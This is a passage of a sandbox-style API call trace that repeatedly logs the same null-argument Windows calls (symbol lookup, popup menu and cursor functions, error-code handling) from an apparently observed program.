two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.173] SymCleanup (hProcess=0x0) returned 0 [0185.173] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.174] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.174] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.174] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.174] GetLastError () returned 0x579 [0185.174] SetLastError (dwErrCode=0x579) [0185.174] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.174] SymCleanup (hProcess=0x0) returned 0 [0185.174] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.174] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.174] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.174] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.174] GetLastError () returned 0x579 [0185.174] SetLastError (dwErrCode=0x579) [0185.174] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.174] SymCleanup (hProcess=0x0) returned 0 [0185.174] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.174] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.174] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.174] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.174] GetLastError () returned 0x579 [0185.174] SetLastError (dwErrCode=0x579) [0185.174] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.174] SymCleanup (hProcess=0x0) returned 0 [0185.174] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.174] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.174] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.175] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=834, param_4=397, param_5=0x0, param_6=0x0) returned 0 [0185.175] GetLastError () returned 0x579 [0185.175] SetLastError (dwErrCode=0x579) [0185.175] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.175] SymCleanup (hProcess=0x0) returned 0 [0185.175] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.175] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.175] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.175] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.175] GetLastError () returned 0x579 [0185.175] SetLastError (dwErrCode=0x579) [0185.175] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.175] SymCleanup (hProcess=0x0) returned 0 [0185.175] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.175] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.175] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.175] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.175] GetLastError () returned 0x579 [0185.175] SetLastError (dwErrCode=0x579) [0185.175] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.175] SymCleanup (hProcess=0x0) returned 0 [0185.175] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.175] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.175] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.176] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.176] GetLastError () returned 0x579 [0185.176] SetLastError (dwErrCode=0x579) [0185.176] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.176] SymCleanup (hProcess=0x0) returned 0 [0185.176] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.176] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.176] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.176] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.176] GetLastError () returned 0x579 [0185.176] SetLastError (dwErrCode=0x579) [0185.176] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.176] SymCleanup (hProcess=0x0) returned 0 [0185.176] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.176] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.176] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.176] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=761, param_4=423, param_5=0x0, param_6=0x0) returned 0 [0185.178] GetLastError () returned 0x579 [0185.178] SetLastError (dwErrCode=0x579) [0185.178] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.178] SymCleanup (hProcess=0x0) returned 0 [0185.178] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.178] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.178] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.178] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.179] GetLastError () returned 0x579 [0185.179] SetLastError (dwErrCode=0x579) [0185.179] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.179] SymCleanup (hProcess=0x0) returned 0 [0185.179] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.179] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.179] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.179] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.179] GetLastError () returned 0x579 [0185.179] SetLastError (dwErrCode=0x579) [0185.179] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.179] SymCleanup (hProcess=0x0) returned 0 [0185.179] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.179] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.179] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.179] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.179] GetLastError () returned 0x579 [0185.179] SetLastError (dwErrCode=0x579) [0185.179] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.179] SymCleanup (hProcess=0x0) returned 0 [0185.179] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.179] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.179] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.179] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.180] GetLastError () returned 0x579 [0185.180] SetLastError (dwErrCode=0x579) [0185.180] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.180] SymCleanup (hProcess=0x0) returned 0 [0185.180] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.180] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.180] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.180] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1101, param_4=732, param_5=0x0, param_6=0x0) returned 0 [0185.180] GetLastError () returned 0x579 [0185.180] SetLastError (dwErrCode=0x579) [0185.180] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.180] SymCleanup (hProcess=0x0) returned 0 [0185.180] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.180] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.180] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.180] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.180] GetLastError () returned 0x579 [0185.180] SetLastError (dwErrCode=0x579) [0185.180] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.180] SymCleanup (hProcess=0x0) returned 0 [0185.180] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.180] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.180] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.180] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.181] GetLastError () returned 0x579 [0185.181] SetLastError (dwErrCode=0x579) [0185.181] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.181] SymCleanup (hProcess=0x0) returned 0 [0185.181] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.181] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.181] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.181] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.181] GetLastError () returned 0x579 [0185.181] SetLastError (dwErrCode=0x579) [0185.181] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.181] SymCleanup (hProcess=0x0) returned 0 [0185.181] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.181] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.181] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.181] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.181] GetLastError () returned 0x579 [0185.181] SetLastError (dwErrCode=0x579) [0185.181] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.181] SymCleanup (hProcess=0x0) returned 0 [0185.181] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.181] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.181] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.181] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=178, param_4=447, param_5=0x0, param_6=0x0) returned 0 [0185.181] GetLastError () returned 0x579 [0185.182] SetLastError (dwErrCode=0x579) [0185.182] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.182] SymCleanup (hProcess=0x0) returned 0 [0185.182] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.182] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.182] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.182] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.182] GetLastError () returned 0x579 [0185.182] SetLastError (dwErrCode=0x579) [0185.182] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.182] SymCleanup (hProcess=0x0) returned 0 [0185.182] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.182] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.182] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.182] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.182] GetLastError () returned 0x579 [0185.182] SetLastError (dwErrCode=0x579) [0185.182] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.182] SymCleanup (hProcess=0x0) returned 0 [0185.182] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.182] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.182] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.182] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.182] GetLastError () returned 0x579 [0185.183] SetLastError (dwErrCode=0x579) [0185.183] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.183] SymCleanup (hProcess=0x0) returned 0 [0185.183] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.183] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.183] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.183] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.183] GetLastError () returned 0x579 [0185.183] SetLastError (dwErrCode=0x579) [0185.183] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.183] SymCleanup (hProcess=0x0) returned 0 [0185.183] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.183] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.183] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.183] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=905, param_4=197, param_5=0x0, param_6=0x0) returned 0 [0185.183] GetLastError () returned 0x579 [0185.183] SetLastError (dwErrCode=0x579) [0185.183] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.183] SymCleanup (hProcess=0x0) returned 0 [0185.183] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.183] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.183] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.183] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.183] GetLastError () returned 0x579 [0185.183] SetLastError (dwErrCode=0x579) [0185.184] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.184] SymCleanup (hProcess=0x0) returned 0 [0185.184] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.184] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.184] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.184] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.184] GetLastError () returned 0x579 [0185.184] SetLastError (dwErrCode=0x579) [0185.184] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.184] SymCleanup (hProcess=0x0) returned 0 [0185.184] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.184] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.184] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.184] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.184] GetLastError () returned 0x579 [0185.184] SetLastError (dwErrCode=0x579) [0185.184] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.184] SymCleanup (hProcess=0x0) returned 0 [0185.184] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.184] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.184] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.184] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.184] GetLastError () returned 0x579 [0185.184] SetLastError (dwErrCode=0x579) [0185.184] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.185] SymCleanup (hProcess=0x0) returned 0 [0185.185] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.185] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.185] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.185] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=885, param_4=752, param_5=0x0, param_6=0x0) returned 0 [0185.185] GetLastError () returned 0x579 [0185.185] SetLastError (dwErrCode=0x579) [0185.185] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.185] SymCleanup (hProcess=0x0) returned 0 [0185.185] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.185] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.185] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.185] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.185] GetLastError () returned 0x579 [0185.185] SetLastError (dwErrCode=0x579) [0185.185] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.185] SymCleanup (hProcess=0x0) returned 0 [0185.185] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.185] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.185] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.185] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.185] GetLastError () returned 0x579 [0185.185] SetLastError (dwErrCode=0x579) [0185.185] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.185] SymCleanup (hProcess=0x0) returned 0 [0185.186] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.186] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.186] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.186] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.186] GetLastError () returned 0x579 [0185.186] SetLastError (dwErrCode=0x579) [0185.186] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.186] SymCleanup (hProcess=0x0) returned 0 [0185.186] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.186] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.186] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.186] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.186] GetLastError () returned 0x579 [0185.186] SetLastError (dwErrCode=0x579) [0185.186] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.186] SymCleanup (hProcess=0x0) returned 0 [0185.186] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.186] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.186] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.186] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=308, param_4=878, param_5=0x0, param_6=0x0) returned 0 [0185.186] GetLastError () returned 0x579 [0185.186] SetLastError (dwErrCode=0x579) [0185.186] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.186] SymCleanup (hProcess=0x0) returned 0 [0185.186] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.187] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.187] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.187] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.187] GetLastError () returned 0x579 [0185.187] SetLastError (dwErrCode=0x579) [0185.187] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.187] SymCleanup (hProcess=0x0) returned 0 [0185.187] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.187] InsertMenuItemA 